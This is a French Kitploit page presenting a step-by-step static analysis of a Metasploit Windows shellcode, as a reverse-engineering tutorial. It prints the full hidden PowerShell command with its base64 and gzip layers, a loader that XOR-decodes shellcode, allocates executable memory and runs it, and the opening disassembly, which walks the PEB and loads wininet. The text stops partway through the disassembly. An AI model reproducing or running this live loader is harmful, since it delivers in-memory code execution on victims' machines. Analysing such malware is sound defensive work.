Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
msf_shellcode_analysis — Analyse statique pas à pas d'un shellcode Windows Metasploit : décodage de payload PowerShell, obfuscation XOR, parcours du PEB et résolution de la table d'adresses d'exportation. | Kitploit
Outils/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
Analyse StatiqueRétro-ingénierieShellcodeAnalyse de MalwareAnalyse de BinairesApprentissage et Éducation
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

Analyse statique pas à pas d'un shellcode Windows Metasploit : décodage de payload PowerShell, obfuscation XOR, parcours du PEB et résolution de la table d'adresses d'exportation.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
283il y a 1 moisVérifié par Kitploit

Analyse statique d'un shellcode Metasploit

Pour un premier article de blog, j'ai pensé qu'il serait intéressant d'analyser un shellcode Metasploit courant - c'est une excellente occasion d'aborder des sujets tels que l'encodage, le PEB, les shellcodes Windows et les tables d'adresses d'exportation.

Pour commencer

Nous commençons par une ligne de commande interceptée et longue :```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
Ceci est une ligne de commande PowerShell encodée en [base64](https://en.wikipedia.org/wiki/Base64) (indiquée par le drapeau `-encodedcommand`). Une fois décodée, elle ressemble à ceci :```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1XW2/iSBZ+Dr/CD5EAQYiNCYFetTT4hk3AEGyumSgq7AIMvuByGTDT/d/n2EAmvZ3ebWkXyaKqfK7fudSxgemdQYlj0V5gY+ZujEnkBD5TzeVupUCjzFfmj3xuGfsWTY/TxdsK07cdCaw3ZNsERxHzV+5mgAjymMLtHpE3L7BjF5eZbJMSYjsmuHhzk7vJjmI/Qkv85iPq7PGbh+k6sCNQVHhp7XZS4CHHf/3yRYwJwT497yttTFtRhL2F6+CoUGS+MZM1Jviuv9hgizJ/MbdvlbYbLJB7IUtEZK3BoZZvp++6gYVSDyrGznVoIf/nn/niyx33WpHDGLlRIW8kEcVexXbdfJH5XkwVmskOF/I9xyJBFCxpZeL4fLUyyqzXM+N7Z9vzxYtnqx0CP37tZCr1zFPIw3IA2LTOGObLzEuq7+X1lfnj3Zph7FPHwxXNp5gEOwOTvWPhqKIi33bxEC+BLR9B+PxVvghGEExj4jNXW4BvH2xx4daPXbcMcl9+V+5rQceHK7i/y1T4yARUA0qK5UtO/A4cvSxvzuLAnZ+s/5BcRfj9lGDF3PfcJ6lqYxevEMVvFPD9kKu5m5uXbInBn8IgiJyM7yvDlpkeGIFoQJI0nCaJcfH1n/ic1V45o/IvBXFXrgvPOTxnO74yL+PAsV9zN8XcJXvS87dF7Lg2Jun7X1eDhJeOj6XER55jXRO+8FnM8NLFGR6VK5kOdhbylxfYli7o5FNAX35mkz2HvvMKZ+NaFsQ9AqsgJYo/GnOOYSGv+T3sAX7nPaTp7RLKDF+pL6WVXLWn+zSXRRdFUZkZxFDnVpkxMHKxXWZafuRcXrViGmTL/D/m9mKXOhaK6FXca/ETSC+qxcCHioktiC7AYBo7bDnITVEpM6pjYyExnNXVhPynmIjIdaHkQNIeYgInKRYGTXOG2OV/z49ixcBU83Yu9oA660KKi1bQcy4VlaUbWmE7/x/MvtbJuShSrK4gfTAaEsBwA1pmxg6h0Nfy5Z8S738z78cW84OZIsGXQBayQnwREpqWS0ZppZfL13csM+QIBdQUEngCinC9ZmRtrJDnG3GoJb3Nc5205b2ihqpswrOHhw8VudvtDHfCsGvJcX+gsp2l9tyQavEh1mJTYHmFBbpT2JaX2r4fzLjYq3H2TtvrcBY9hmokaXuppVbDQKmvnOZFzpn/eXHgFlNNeVy0lZo6jpSUXtX2ghKKzQDW99peDDrA16jvfOFg17DcqeNp1zrwtIHR6pg8jUsGy7XHid4dyzvd8O3ugntWOvqpmoBP4JfBq0PWhsc4utwkMK1mFKqpv1johpbf6WhqJzEeVo6W6AeLpWxITi4/mJ+SsAH8eg0wORpJb1ir20drqhysqd5N1JneBh1hPFnVVL0bHFsbrU4kw7BPhnnkDG7u7tHUavqHTL9hHw/2KOp3TDrjB8irJYlfN7SNduxaOzqeduoEJeKu6+CFsKSp3E53vuo0ZVjL9MgaxjCxQa+rmtIT6PXFXg98QA/KbIv5wdNEP1m80LUSooEfg6e6A7IbtMfDuaR2TOzJm/VkwXbv547qjoVo5U3B1r3CCqjZf8SslgjSbO6bpc7jVje5WW0pzsaW4OsziSTx5mBWR8YzIaE485t2SVr3HPNQ5YjsDZSqWLI2Up8fiHp1JM+HkteRh1tu2n7WY2MrDE1F6A3HVn+mKGjE2b2Zr4eSMNJlp7bT6jSa+F5H2lRXwiHwxJpLH+ecdPKkRfuhWWV7/tpBaug1hwvPV7lBsg7kbbc+noxHbtSU1pzXupflhjoXJqv7JhGNhH8oLVlRoMOJvyGGfIjq/nreq6FmjTXGMeIe2goVk1DX5utkLY/NmSVtaJuq46PqKezjYyfuqEIs90fmKvTkbdQY7LghKdU436brJEmQdNTXz9PJoeF1TnSDq0Lo0tOjM9zzhttrjYi4vPcsPhSr7P38hHhUGksP/iCuGrvVY/1AJy27pDyL9mHQ31CL40vx0TSfPfXo1LfVJvfU5Mm40VIsabKxA9OfiN6wtVZxDDn15FEaSaflgnioPmncD4RGe32aJtuBybt0/PQQcH1/KZsLdri4dzqBFAlzbWM0+5PVFHJx624gj0+Q0114Nho/7OKafThCjkWdIK2VjbbfJdYTkW052rRgb6njbm8xCQ/2qbqL9ekDWm21WIQaX7RxSeqG9NHiZToZbedP5qilP8vHvsY/+Py29jXtXsuAwDxyTO/4fzHwf+dS5r0/QVeChpeel0rFdE54f/Nye3y9znXv+7vFEaTxD2mvy97s0YcO96thqYdItEYudD4YeK7XlRIQ5TK2DAIn5SgUPp+0t5j42IUpFObUa5NvuW5gpYPWLyYeGPvOw9grXGYjWPLVT1dF5p0QpquzT4t4ucyGkYuH15nsSvjlyxzcK38AsYv9FV2XGfbIsyyb/tfYYu73YRGDXVJ4F1dOh7EPlnzU5Gaaihf0Sex7+P8YgB+U/ndoU/Cyee4dusygz/Eq5vJ/5HLakvlwHjkn+FrBIdPIci+iiNC7TbCAT5vsri7coiKjyVPmFjHfmTtwrxXxVfi+Ias4vbiZ8+faN+aAnDPjN2aILQzj9l0nWECWYpi/UtGZkJQYzv4GszALJv8NAAA="));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Cette charge utile effectue encore un décodage base64 (de la partie qui commence par "H4sIA...") et l'enregistre dans un flux mémoire ($s). Ensuite, elle le traite comme un flux compressé (gzip), le décompresse et exécute le contenu (avec IEX). Il est assez facile de le décompresser - vous pouvez utiliser PowerShell, CyberChef ou même Python:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
La sortie contient plus de commandes PowerShell, cette fois avec une logique plus complexe :```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

Décomposons cela :

  • La variable $DoIt contient l'essentiel de la logique. Elle définit une fonction appelée func_get_proc_address qui n'est qu'un wrapper vers kernel32!GetProcAddress, et utilise la fonction func_get_delegate_type pour obtenir un délégué réflexif.
  • La variable $var_code est encore un (!) payload base64, mais cette fois-ci c'est moins évident : essayer de le décoder naïvement donne des données incohérentes.
  • La variable $var_code est XORée octet par octet avec la valeur 35. Cela explique déjà pourquoi son décodage ne produit aucune chaîne de caractères, mais même après XORage, cela ne semble toujours pas prometteur sans le bon contexte.
  • Les deux lignes suivantes allouent un buffer avec la fonction kernel32!VirtualAlloc. Elle est invoquée pour allouer un buffer (sauvegardé dans $var_buffer) avec flAllocationType=0x3000 et flProtect=0x40. En consultant MSDN, on constate que le type d'allocation est et que la protection de page est .

Cela nous indique que le payload encodé en base64 doit être traité comme un shellcode 32 bits. Analysons-le à nouveau statiquement en le XORant puis en l'écrivant dans un fichier binaire :```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
C'est là que le plaisir commence. Vous pouvez utiliser votre désassembleur préféré (IDA, Binary Ninja, etc.).
Il existe même d'excellents [désassembleurs en ligne](https://shell-storm.org/online/Online-Assembler-and-Disassembler) à votre disposition si vous ne vous souciez pas de l'opsec.
Le début du shellcode se trouve à l'offset 0 et le code doit être traité comme du code X86.

## Parcourir le PEB
Le code commence par une instruction CALL :```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

L'instruction cld efface le drapeau de direction (afin que les opérations sur les chaînes telles que movsb avancent et non reculent), puis effectue un appel relatif à 0x8f.
Comme call pousse l'instruction suivante sur la pile, on se souvient que la pile a reçu l'adresse située à l'offset 6 dans le shellcode.
Examinons le code à l'offset 0x8f :```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
Immédiatement, utiliser un `pop` pour sauvegarder l'adresse est une astuce courante en shellcoding (séquence `call-pop`).
Les prochaines instructions push sont intéressantes - en surface, elles semblent être des constantes étranges, mais en les décodant comme des chaînes ANSI, on découvre quelque chose d'intéressant :```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

Comme nous examinons les push sur la pile, j'ai dû les extraire dans l'ordre inverse, et m'assurer d'utiliser Little Endian (c'est le symbole < dans le code). Cela affiche b'wininet\x00', qui est le nom d'une DLL Windows utilisée pour les communications Internet. Notez que push esp pousse l'adresse du sommet de la pile, ce qui est un moyen pratique d'obtenir un pointeur vers la chaîne terminée par NUL wininet. Ensuite, nous poussons une autre constante (0x726774c) - celle-ci ne se décode en rien de significatif, et appelons ebp. Rappelez-vous que ebp pointe vers un morceau de code à l'offset 6 depuis le début du shellcode, alors examinons cette partie!

Le code à l'offset 6 commence par quelques instructions intéressantes :```assembly 0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

root@kitploit:~
